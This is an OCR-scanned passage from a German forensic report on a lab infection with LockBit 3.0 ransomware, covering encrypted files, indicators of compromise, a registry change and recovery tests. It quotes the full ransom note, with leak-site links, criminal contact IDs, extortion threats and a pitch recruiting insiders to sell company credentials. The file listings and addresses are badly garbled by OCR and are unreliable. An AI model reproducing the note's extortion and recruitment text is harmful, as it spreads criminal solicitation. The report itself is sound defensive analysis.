[Wsettings.datbNi7oNLq9 " KUsers\Forensik INAppData\Local\Packages\Microsoft WindowsMaps_8wekyb3d8bbwe\Sett
\Users\Forensik INAppData\Local\Packages\Microsoft WindowsSoundRecorder_8we b3d8 f
[WlsettingsdatbNi7oNlqg9 " \Users\Forensik INAppData\Local\Packages\MicrosoftXbox.TCUI_8wekyb3d8bbwe\Settings|
[Wsettings.datbNi7oN[@9 1 Users\Foren5|k INAppData\Local\Packages\Microsoft: XboxApp _8wel b3d8bbwe\Semns
WlsettingsdatbNi7oNLg9 " \Users\Forensik INAppData\Local\Packages\Microsoft XboxGameCallableUl_cwSn1h2txyewy)
[|Lo xt.bNi Users\Foren5|k INAppData\Local\! Packaqes\Mlcrosoft XboxGameOverla 8we b3d8bbwe\
WjsettingsdatbNi7oNlg9 _ —l\Users\Forensik INAppData\Local\Packages\Microsoft XboxGameOverlay 8wekyb3d8bbwe\|
[Wsettings.datbNi7oNL@9 1] Users\ForenSIk INAppData\Local\Packages\Microsoft. XboxGamlanverIa _8wel b3d8bbw
[Wsettings.datbNi7oNLq@ " \Users\Forensik INAppData\Local\Packages\MicrosoftXboxldentityProvider_8wekyb3d8bb
[Wsettings.datbNi7oNLq9 " "KUsers\Forensik INAppData\Local\Packages\Microsoft XboxSpeechToTextOverlay_8wekyb3d
[Wsettings.datbNi7oNLq9  WUsers\Forensik INAppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Setting
[WlsettingsdatbNi7oNLlqg9 " \Users\Forensik I\AppData\Local\Packages\MicrosoftZuneMusic_8wekyb3d8bbwe\Settings
[Wsettings.datbNi7oNLq9 hUsers\Forensik INAppData\Local\Packages\Microsoft.ZuneVideo_8wekyb3d8bbwe\Setting
[WlsettingsdatbNi7oNLg9 " \Users\Forensik INAppData\Local\Packages\MicrosoftWindows.UndockedDevKit_cwSn1h2td
\Users\Forensik INAppData\Local\Packages\NcsiUwpApp_8wekyb3d8bbwe\Settings
[WlsettingsdatbNi7oNLg9 " \Users\Forensik INAppData\Local\Packages\Windows.CBSPreview_cw5nTh2txyewy\Settings |
u Users\ForenSIk INAppData\Local\Packages\windows. immersivecontrolpanel cw5n1 h2txyev
[W[settings.datbNi7oNLg9 " RUsers\Forensik INAppData\Local\Packages\Windows.PrintDialog_

WlsesbNi7oNLg9 " Users\Forensik INAppData\Loca\Temp
\UseFS\Forensik INAppData\Local\Temp

[ 1821904 132f045db88dfbd29609eb877.db.session64.bNi7oNLg9  N\Users\Forensik INAppData\local\Temp ]
[Wlaria-debug-7944logbNi7oNLg9 ] USEFS\ForeHSIk INAppData\Local\Temp

DE ES4AB4 DISA-ATES- 8686- E0BOB7FSCT95 Diagnose i70NLq9
\UserS\ForeHSIk INAppData\Local\Temp
D
\UserS\ForenSlk IN\AppData\Local\Temp

[WlwmsetuplogbNi7ToNlg9 —\Users\ForensikINAppData\loca\Temp |

Abbildung 33: Verschliisselte Systemdateien (auszugsweise)
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|_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLq9 _\Users\Forensik Il\Desktop\Testdaten
|_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.bNi7oNLg9 ,\Users\Forensik Il\Desktop\Testdaten
|_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.oNi7oNLq9  _\Users\Forensik Il\Desktop\Testdaten
|_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopiexls.oNi7oNLg9 \Users\Forensik Il\Desktop\Testdaten
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - KopiexIsm.bNi7oNLg9 \Users\Forensik II\Desktop\Testdaten
|_]Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xlsx.oNi7oNLg9 4\Users\Forensik II\Desktop\Testdaten
|_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.bNi7oNLg9 \Users\Forensik Il\Desktop\Testdaten

|_)Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9
|_)Gantt-Diagramm zur Datumsnachverfolgung1.xlsm.bNi7oNLq9
|_)Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.oNi7oNLq9
|_)Gantt-Diagramm zur Datumsnachverfolgung1.xps.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLq9
|_Jistockphoto-1221620132-612x612 - Kopie (3).jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie,jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612,jpg.bNi7oNLg9

| Jtrees-7937129_960_720 - Kopie (2).jpg.bNi7oNLg9
|Jtrees-7937129_960_720 - Kopie (3).jpg.bNi7oNLg9

| Jtrees-7937129_960_720 - Kopie.jpg.bNi7oNLg9

[ Jtrees-7937129_960_720.jpg.bNi7oNLq9

[JWillkommen bei PowerPoint.pdf.bNi7oNLq9

[ JWillkommen bei PowerPoint.ppt.oNi7oNLq9

[_JWillkommen bei PowerPoint.pptm.bNi7oNLq9
[_JWillkommen bei PowerPoint.pptx.oNi7oNLq9

[JWillkommen bei Word - Kopie (2).doc.bNi7oNLq9
[JWillkommen bei Word - Kopie (2).docx.bNi7oNLq9
[JWillkommen bei Word - Kopie (2).pdf.bNi7oNLq9
[JWillkommen bei Word - Kopie (3).doc.bNi7oNLg9
[JWillkommen bei Word - Kopie (3).docx.bNi7oNLq9

4\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik II\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik II\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik Il\Desktop\Testdaten
\Users\Forensik Il\Desktop\Testdaten
4\Users\Forensik Il\Desktop\Testdaten

[JWillkommen bei Word - Kopie (3).pdf.oNi7oNLq9 \Users\Forensik Il\Desktop\Testdaten

Abbildung 34: Verschliisselte Testdaten (auszugsweise)

Mindestens 34 weitere Dateien wurden im Zuge des Angriffes zunachst
verschlusselt und im Anschluss geldscht. Da geloschte Dateien unter Umstanden
nicht alle in freien Speicherbereich rekonstruierbar sind, ist die genaue Anzahl

unbekannt:

u ” b3d8bbwe!Microsoft_Microsoft3DView...
Microsoft_Microsoft3DViewer_8wekyb3d8bbwe!Microsoft_Microsoft3DView...\Pfad unbekannt\Verzeichnis mit ID 107321 |
Microsoft_Microsoft3DViewer_8wekyb3d8bbwe!Microsoft_Microsoft3DView...{\Pfad unbekannt\Verzeichnis mit ID 107321
Microsoft_Microsoft3DViewer_8wekyb3d8bbwe!Microsoft_Microsoft3DView...[\Pfad unbekannt\Verzeichnis mit ID 107321 |
Microsoft_Microsoft3DViewer_8wekyb3d8bbwe!Microsoft_ Microsoft3DView...[\Pfad unbekannt\Verzeichnis mit ID 107321 |
Microsoft_Microsoft3DViewer_8wekyb3d8bbwe!Microsoft_Microsoft3DView...\Pfad unbekannt\Verzeichnis mit ID 107321 |
Microsoft_MicrosoftOfficeHub_8wekyb3d8bbwe!Microsoft_MicrosoftOffice...
microsoft windowscommunicationsapps_8wekyb3d8bbwe!microsoft_ windo... |\Pfad unbekannt\Verzeichnis mit ID 107321

Bl microsoft_windowscommunicationsapps_8wekyb3d8bbwe!microsoft_windo...
microsoft_windowscommunicationsapps_8wekyb3d8bbwe!microsoft_windo.,
windows_immersivecontrolpanel_cw5n1h2t Imicrosoft_windows_imme...

8| windows_immersivecontrolpanel_cw5n1h2b Imicrosoft_windows_imme...
8| windows_immersivecontrolpanel_cw5n1h2b Imicrosoft_windows_imme...

il windows_immersivecontrolpanel_cw5n1h2t Imicrosoft windows_imme... |\Pfad unbekannt\Verzeichnis mit ID 107321
B8] windows_immersivecontrolpanel_cw5n1h2 Imicrosoft windows_imme
Bl {1AC14E77-02E7-4E5D-B744-2EBTAE5198B7)_ WindowsPowerShell_v1_0_Po...
{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7)_WindowsPowerShell_v1_0_Po...
'
Bl (6D309377-6AF0-444B-8957-A3773F02200E}_Common Files_Microsoft Shar...
Bl (6D809377-6AF0-444B-8957-A3773F02200E}_Common Files_Microsoft Shar...
Bl (6D809377-6AF0-444B-8957-A3773F02200E}_Common Files_Microsoft Shar...
Bl (6D809377-6AF0-444B-8957-A3773F02200E}_Common Files_Microsoft Shar...
(6D809377-6AF0-444B-8957-A3773F02200E}_Common Files_Microsoft Shar.
{6D809377-6AF0-444B-8957-A3773F02200E} Windows NT_Accessories_wor...
:
:
B(D65231B0-B2F1-4857-A4CE-ABE7C6EA7D27) WindowsPowerShell_v1_0_Po..[\Pfad unbekannt\Verzeichnis mit ID 107321
[
{D65231B0-B2F1-4857-A4CE-A8E7C6EATD27} WindowsPowerShell_v1_0_Po..[\Pfad unbekannt\Verzeichnis mit ID 107321 |

Abbildung 35: Geloschte Dateien
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8.1.2.4 10C: Platzierung der Kontakt- und Entschliisselungsanleitung

Um dem Benutzer Hinweise zu geben, wie eine Kontaktaufnahme zum Angreifer
zwecks Erlangung des Entschlisselungspasswortes moglich ist, wird im
Dateisystem durch die Schadsoftware eine Textdatei mit Anweisungen
gespeichert. Diese Datei wird vielfach abgelegt, um die Auffindbarkeit zu
verbessern, unter anderem in den jeweiligen Nutzerverzeichnissen und auf dem

Desktop.

Im Zuge des hier durchgeflhrten Angriffes wurde die entsprechende, inhaltlich
identische Textdatei insgesamt in 936facher Ausfertigung in verschiedenen
lokalen Ordnern gespeichert:

"Name | GroBe | Typ~ Y Am:lerungA | Pfad
B[bNi70NLg9.README txt
§|oNi70NLq9 README tit £
B|oNi70NLq9.README.txt , [t [30.07.2023 +2[\Users\Forensik II\Pictures
B[bNi70NLqIREADME txt
[bNi70NLqIREADME txt
B|bNi70NLqO.README.txt [ 6TKB[xt  [30.07.023 01:30:51 -J\Users\Forensik INAppData |
B|bNi70NLqO.README.txt
8]oNi70NLq9.README.txt [ 6TKBjt  [30.07.2023 01:30:51 +2|\Users\Forensik INAppData\Roaming\Adobe
bNi70NLq9.README .txt Users\Forensik II\AppData\Roaming\Adobe\Flash Pla!

|

I

I

I

I

I

I

I

I

I
IS[oNi70NLq9.README.txt
| Ni70NLq9.README.txt +2|\Users\Forensik Il\Videos

| Ni70NLq9.README.txt +2|\Users\Forensik Il\Searches

| +2|\Users\Forensik Il\Saved Games

| +2|\Users\Forensik II\Pictures\Saved Pictures
| Users\Forensik II\Pictures\Camera Roll
| Users\Forensik I\OneDrive

| Users\Forensik II\Music

| Users\Forensik II\Links

| Users\Forensik Il\Favorites

| Users\Forensik II\Favorites\Links

|
I
I
I

Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt
Ni70NLq9.README.txt El 3

.07. 2\Users\Forensik IN\Downloads

\Users\Forensik IN\Documents

3 .07. Users\Forensik II\Desktop

Ni70NLqI README tit [ 61KBlxt 30.07.2023 01:30:51 -2\Users\Forensik INDesktop\Testdaten ]|

I [ [

[
S
=)
=
i
S
el
o
S

Abbildung 36: Ablage Kontaktbenachrichtigung

Die Datei enthalt neben diversen Darknet- und Clearnet-Links Hinweise auf eine
Kontaktaufnahme per anonymisiertem Chatroom sowie eine eindeutige

Vorgangsnummer:

>>>> Your personal DECRYPTION ID: 51338A963ADSBFOC6B330E9416ABA035
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~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~

>>>> Your data are stolen and encrypted

The data will be published on TOR website if you do not pay the ransom

Links for Tor Browser:

http: //lockhltaptzyfht7lchxeju547kmqquxvv]qumevv413azl3gyﬁpyd onion
http://lockbitapt5x4zkjb yi idyvd7qd.onion
http: //1ockh1taptsvx57taequof-gcglmutraaaSnygvokJa5uucc1p4ykyd onion
http://lockbitapt34kvrip6xojylohhxrwsvpzdf fgs5z4pbbsywnzsbdgugd .onion
http://lockbitaptc2igdatewz2ise62q63wfktyrl 4gtwukSqax262kgtzjqd.onion
http://lockbitaptjpikdqjy gucdk5xj ihmoiobyd.onion
http://lockbitaptg7ephv2oigdncfhtwhpggwmqojnxqdyhprxxfpcllgdxad .onion
http://lockbitaptstzf3er2lz6ku3zuifafq2yh5imiqjSncurértlmkteigd.onion
http://lockbitaptoofrpignlz6dt2wgqcSz3adevjevoaleqdfentzadSimyd.onion

Links for the normal browser
http://lockbitapt.uz

http://lockbitapt2yfbt7lchzejug47kmqvgqzvvjpgkmevv4l3azl3gy6pyd.onion.
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwgzukksspnlidyvd7qd.onion.
http://lockbitapt6vz57t3eeqjofwgcglmutr3a35nygvokjaSuuccipdykyd.onion.
http://lockbitapt34kvrip6zojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd .onion.
http://lockbitaptc2iqdatewz2ise62q63wfktyrl 4qtwuk5qax262kgtzjqd.onion.
http://lockbitaptjpikdqjy gucdk5xj ihmoiobyd.onion.
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprzzfpcllqdzad.onion.
http://lockbitaptstzf3er2lz6ku3zuifafq2yh5imiqj5ncurértlmkteiqd.onion.
http://lockbitaptoofrpignlz6dt2wqqc5z3adevjevoadeqdfentzadSimyd.onion.

>>>> What guarantees that we will not deceive you?

>>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID

We are not a politically motivated group and we do not need anything other than your momey.

If you pay., we will provide you the programs for decryption and we will delete your data.

Life is too short to be sad. Be not sad. money, it is only paper.

ly
ly
ly
ly
ly
ly
ly

ly

If we do not give you decrypters. or we do not delete your data after payment, then nobody will pay us in the future.
Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment.

You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=1live

Download and install TOR Browser https://www.torproject.org’/
Write to a chat and wait for the answer. we will always answer you.

Sometimes you will need to wait for our answer because we attack many companies.

Links for Tor Browser:
http://lockbitsupt7nr3fabe7xyb731k6bwbrcneghoyblniiabj4uwvzapgd .onion
http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvg3oyd.onion
http://lockbitsupn2h6be2cngpvncyhj4rgmnwn44633hnzzmtzdvjoqlp7yd.onion

Link for the normal browser
http://lockbitsupp.uz

If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency. you can contact us

in jabber or tox.

Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5SD3DASCBI7CEBEA975959AE4F95302A04E1D709C3C4AE9B7
XMPP (Jabber) Support: 598954663666452@exploit.im 365473292355268@thesecure.biz

)))I Your personal DECRYPTION ID: 51338A963ADSBFOC6B330E9416ABA03S I

>>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems!

>>>> Warning!

>>>> Advertisement

Would you like to earn millions of dollars $$$ ?

If you do not pay the ransom we will attack your company repeatedly again!

Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable

company .

You can provide us accounting data for the access to any company, for example.
Open our letter at your email. Launch the provided virus on any computer in your company.

login and password to RDP, VPN. corporate email. etc.

You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion

with us.

Companies pay us the foreclosure for the decryption of files and prevention of data leak.

You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html.
Using Tox messenger, we will never know your real name, it means your privacy is guaranteed.

If you want to contact us, write in jabber or tox.

Tox ID LockBitSupp: 3085B89A0CS515D2FB124D645906FSD3DASCB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7
XMPP (Jabber) Support: 598954663666452@exploit.im 365473292355268@thesecure.biz

If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser

Links for Tor Browser:
http: //lockhltaptnybt71chxe]ug47kmqquxvv]qumevv4l3azl35y6pyd onion
http://lockbitapt5z4zkjb idyvd7qd.onion
http: //lcckh1tapt6vx57t3eeq]cfwgcglmutraa35nygvok]a5uucclp4ykyd onion
http://lockbitapt34kvrip6zojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd .onion
http://lockbitaptc2iqdatewz2ise62q63wfktyrl dqtwuk5qax262kgtzjqd.onion
http://lockbitaptjpikdqjyn ucdk5xj ihmoiobyd.onion
http://lockbitaptq7ephv2oigdncfhtwhpggwmqojnxqdyhprzzfpcllgdzad.onion
http://lockbitaptstzf3er2lz6ku3xzuifafg2yhSimiqj5ncurértlmkteiqd.onion
http://lockbitaptoofrpignlz6dt2wqqc5z3adevjevoadeqdfentzad5lmyd .onion

Links for the normal browser
http://lockbitapt.uz

http: //1ockh1zaptnyht71cherug47kmqquxvvJqumevv413az135yspyd onion.
http://lockbitapt5z4zkj nlidyvd7qd.onion.
bttp://lockbitaptbva57tdoeq;ofwgeq lmir3adbnygvokjasuuceipiykyd onion
http://lockbitapt34kvrip6zojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd .onion.
http://lockbitaptc2iqdatewz2ise62q63wfktyrl dqtwuk5qax262kgtzjqd.onion.
http://lockbitaptjpikdqjy gucdk5xj ihmoiobyd.onion.
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprzzfpcllqdzad.onion.
http://lockbitaptstzf3er2lz6ku3zuifafq2yh5imiqj5ncurértlmkteiqd.onion.
http://lockbitaptoofrpignlz6dt2wqgcSz3adevjevoadeqdfentzadSlmyd.onion.

Abbildung 37: Inhalt der Kontaktbenachrichtigung
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8.1.2.5 10C: Anpassung des Hintergrundbildes

Um dem Benutzer Hinweise zu geben, dass er die entsprechende Textdatei mit
der Anleitung zur Kontaktaufnahme finden soll, wird das Hintergrundbild

ausgetauscht:

LockBit Black

All your important files are stolen and encrypted!

You must find bNi70NLq9.README.txt file
and follow the instruction!

Abbildung 38: Durch LockBit erzeugtes Hintergrundbild

Dies findet durch eine Speicherung des entsprechenden Bildes im ProgramData-
Verzeichnis und eine Anpassung der Systemregistrierung statt:

#e|Pattern REG_DWORD 0x00000000 (0)
ab|RightOverlapChars REG_SZ 3
ab|ScreenSaveActive REG_SZ 1

ab|SnapSizing REG_SZ 1
ab|TileWallpaper REG_SZ 0
UiWallPaper = REGSZ  C\ProgramData\bNi7oNLq9.bmp
#e|WallpaperOriginX REG_DWORD 0x00000000 (0)
#s|WallpaperOriginY REG_DWORD (0x00000000 (0)
ab]WallpaperStyle REG_SZ 10
ab]WheelScrollChars REG_SZ 3
ab|WheelScrollLines REG_SZ 3
ab]WindowArrangementActive REG_SZ 1
#3|Win8DpiScaling REG_DWORD 0x00000000 (0)

Abbildung 39: Registrierungseintrag zum Wallpaper

Im rekonstruierten Ablauf stellt die Platzierung des Hintergrundbildes den letzten
festzustellenden 10C dar.
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8.1.2.6 Zusammenfassung der IOCs auf dem Zielsystem

Zusammenfassend konnen die auf dem untersuchten Laptop nach der Infektion
feststellbaren 10Cs wie folgt benannt werden:

[ Ungewohnliche Dateizugriffe / Zustandsanderung
Verschlusselung der Nutzer- und Systemdateien
u Manipulation der lokalen Systemregistrierung
- Registrierung zusatzlicher Dateitypen
- Zuweisung von Icons zu Dateitypen
- Veranderung des Hintergrundbildes
u Wiederholtes Schreiben derselben Datei in ungewohnlichem Ausmal}
- Platzierung der Kontaktanleitung als Textdatei
u Ungewohnliche Konfigurationsanderungen
- Deaktivierung des Windows-Defenders

- Umgehung der Benutzerkontensteuerung (UAC)
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8.1.2.7 Uberpriifung auf Wiederherstellbarkeit

Im Zuge der Beobachtung des Verhaltens der LockBit-Schadsoftware kam der
Gedanke auf, dass es moglich sein konnte, die verschlisselten Dateien unter
Umgehung der LoOsegeldzahlung durch Durchsuchen des geldschten

Speicherbereiches wiederherzustellen.

Versuchsweise wurde auf dem Zielsystem die Rekonstruktion der Testdaten
versucht. Dabei konnten insgesamt 18 Testdateien im gel6schten
Speicherbereich aufgefunden werden, jedoch war keine der Dateien vollstandig

rekonstruierbar:

| 7' Name GroBe | Typ~ Anderung Pfad

|~ Willkommen bei Word - Kopie (3).doc 4 759KBdoc 24.04.2023 21:25:48 \Users\Forensik Il\Desktop\Testdaten
|, - Willkommen bei Word.pdf 4 326 KB pdf 24.04.2023 21:26:06 \Users\Forensik Il\Desktop\Testdaten
|, * Willkommen bei Word - Kopie (3).pdf 4 326 KB pdf 24.04.2023 21:26:06 \Users\Forensik Il\Desktop\Testdaten
|, - Gantt-Diagramm zur Datumsnachverfolgung1.xIsx 4 958 KB xlsx 24.04.2023 21:27:20  \Users\Forensik II\Desktop\Testdaten
|, Gantt-Diagramm zur Datumsnachverfolgung1.xls 4 583KBxls 24.04.2023 21:27:34  \Users\Forensik II\Desktop\Testdaten
|. - Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm 4 958 KB xlsx 24.04.2023 21:27:48  \Users\Forensik II\Desktop\Testdaten
|, | Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps 4 435KBxps 24.04.2023 21:28:06  \Users\Forensik Il\Desktop\Testdaten
|, - Gantt-Diagramm zur Datumsnachverfolgung1.xps 4 435KBxps 24.04.2023 21:28:06  \Users\Forensik II\Desktop\Testdaten
| Willkommen bei PowerPoint.ppt 4+ 3.5MBppt 24.04.2023 21:29:12 \Users\Forensik II\Desktop\Testdaten
|, - Willkommen bei PowerPoint.pptm 4 3.6 MB pptx 24.04.2023 21:29:30  \Users\Forensik Il\Desktop\Testdaten
|+ trees-7937129_960_720.jpg 4 150KB jpg 24.04.2023 21:33:20  \Users\Forensik Il\Desktop\Testdaten
|~ trees-7937129_960_720 - Kopie (2).jpg 4 150KB jpg 24.04.2023 21:33:20 \Users\Forensik II\Desktop\Testdaten
|, * trees-7937129_960_720 - Kopie.jpg 4 150KB jpg 24.04.2023 21:33:20 \Users\Forensik II\Desktop\Testdaten
|+ trees-7937129_960_720 - Kopie (3).jpg 4 150KB jpg 24.04.2023 21:33:20 \Users\Forensik II\Desktop\Testdaten
.+ istockphoto-1221620132-612x612.jpg 4 292KBjpg 24.04.2023 21:33:40  \Users\Forensik Il\Desktop\Testdaten
|, istockphoto-1221620132-612x612 - Kopie.jpg 4 292KBjpg 24.04.2023 21:33:40  \Users\Forensik II\Desktop\Testdaten
|, - istockphoto-1221620132-612x612 - Kopie (3).jpg 4 292KBjpg 24.04.2023 21:33:40  \Users\Forensik II\Desktop\Testdaten
|, * istockphoto-1221620132-612x612 - Kopie (2).jpg 4 292KBjpg 24.04.2023 21:33:40  \Users\Forensik II\Desktop\Testdaten

Abbildung 40: Teilweise wiederhergestellte Originaltestdaten

Ergebnis:

Ohne passenden Schlissel sind die Testdaten, sofern kein Backup vorliegt,

unwiederbringlich verloren.
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8.1.3 Auswertung des netzwerkangebundenen Windows-PCs

Switch
[ﬁ (%
Speedport
Router
DHCP
192.168.2.1 Mirroring
Port 1
Priméres Ziel
Angreifor Windows Windows
vt Laptop PC.104
102 103

Raspberry
Pl Zer0
105

Abbildung 41: Netzschema Desktop

In das Netzwerk des angegriffenen
Windows-Laptops wurden zusatzlich drei
unterschiedliche IT-Systeme  einge-
bunden, um eine mogliche Verbreitung

festzustellen.

Die Untersuchung der entsprechenden
Gerate fuhrte dem gleichen Gesamtbild,

eine Verbreitung war nicht

nachzuweisen, wohl aber die Verschlusselung aller Uber Netzlaufwerke

zugreifbaren Dateien. Dateien, die nicht Uber das Netzwerk erreichbar waren,

wurden nicht beeinflusst:

"Name

| GroBe

7 Typ " Anderung «
o

DbNi70NLq9.README.txt
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xls.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsm.bNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xIsx.oNi7oNLq9
[_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie (2).xps.bNi7oNLg9
[_) Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xIs.oNi7oNLq9
W]

dGantt-Diaéramm zur Datumsnachverfoléuné1 - Kopie.xIsx.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1 - Kopie.xps.oNi7oNLg9

KB,
583 KB bni7onlq9
96,1 KB bni7oniq9

583 KB bni7onlg9

96,1 KB bni7onlg9

| Pfad

\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:12
30.07.2023 13:00:12
30.07.2023 13:00:12
30.07.2023 13:00:13
30.07.2023 13:00:13

7oniq9

‘\U sers\IT-Forensik\Desktop\Testdaten
\Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13
30.07.2023 13:00:13

[_)Gantt-Diagramm zur Datumsnachverfolgung1.xls.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung 1.xIsm.bNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung1.xIsx.oNi7oNLq9
[_)Gantt-Diagramm zur Datumsnachverfolgung 1.xps.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (2).jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie (3).jpg.bNi7oNLq9
[Jistockphoto-1221620132-612x612 - Kopie.jpg.bNi7oNLq9

[Jistockphoto-1221620132-612x612,jpg.bNi7oNLq9
[Jtrees-7937129_960_720 - Kopie (2).jpg.oNi7oNLq9
[Jtrees-7937129_960_720 - Kopie (3).jpg.oNi7oNLq9
[Jtrees-7937129_960_720 - Kopie.jpg.bNi7oNLq9
[Jtrees-7937129_960_720.jpg.bNi7oNLq9
[JWillkommen bei PowerPoint.pdf.bNi7oNLq9
[JWillkommen bei PowerPoint.ppt.bNi7oNLq9
[_JWillkommen bei PowerPoint.pptm.bNi7oNLq9
[JWillkommen bei PowerPoint.pptx.bNi7oNLq9
[JWillkommen bei Word - Kopie (2).doc.oNi7oNLq9
[JWillkommen bei Word - Kopie (2).docx.bNi7oNLq9
[JWillkommen bei Word - Kopie (2).pdf.bNi7oNLq9
[_JWillkommen bei Word - Kopie (3).doc.bNi7oNLq9
[_JWillkommen bei Word - Kopie (3).docx.bNi7oNLg9
[_JWillkommen bei Word - Kopie (3).pdf.obNi7oNLq9
[_JWillkommen bei Word - Kopie.doc.bNi7oNLq9
[_JWillkommen bei Word - Kopie.docx.bNi7oNLg9
[JWillkommen bei Word - Kopie.pdf.bNi7oNLq9
[JWillkommen bei Word.doc.bNi7oNLq9
[JWillkommen bei Word.docx.bNi7oNLg9
[JWillkommen bei Word.pdf.obNi7oNLq9

NENESFSFSSFFFSFFSF NS SSSSSN NSNS SSNSNSNES NSNS

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 - \Users\IT-Forensik\Desktop\Testdaten

) 30.07.2023 13:00:13 -~ \Users\IT-Forensik\Desktop\Testdaten

29,5KB bni7onlg?  30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
29,5 KB bni7onlg9  30.07.2023 13:00:13 -~ \Users\IT-Forensik\Desktop\Testdaten
30.07.2023 13:00:13 -~ \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

30.07.2023 13:00:13 - \Users\IT-Forensik\Desktop\Testdaten

3,6 MB bni7onlg9  30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
759 KB bni7onlg9  30.07.2023 13:00:13 - \Users\IT-Forensik\Desktop\Testdaten
631 KB bni7onlg9  30.07.2023 13:00:13 -~ \Users\IT-Forensik\Desktop\Testdaten
326 KB bni7onlg9  30.07.2023 13:00:13 -~ \Users\IT-Forensik\Desktop\Testdaten
759 KB bni7 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
631 KB bni7 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
326 KB bni7 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
759 KB bni7 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
631 KB b 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
326 KB b 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
759 KB b 30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
631 KB b nlg9  30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten
326 KB bni7onlg9  30.07.2023 13:00:13 \Users\IT-Forensik\Desktop\Testdaten

Abbildung 42: Zeitliche Abfolge der Datenbestandsverinderung

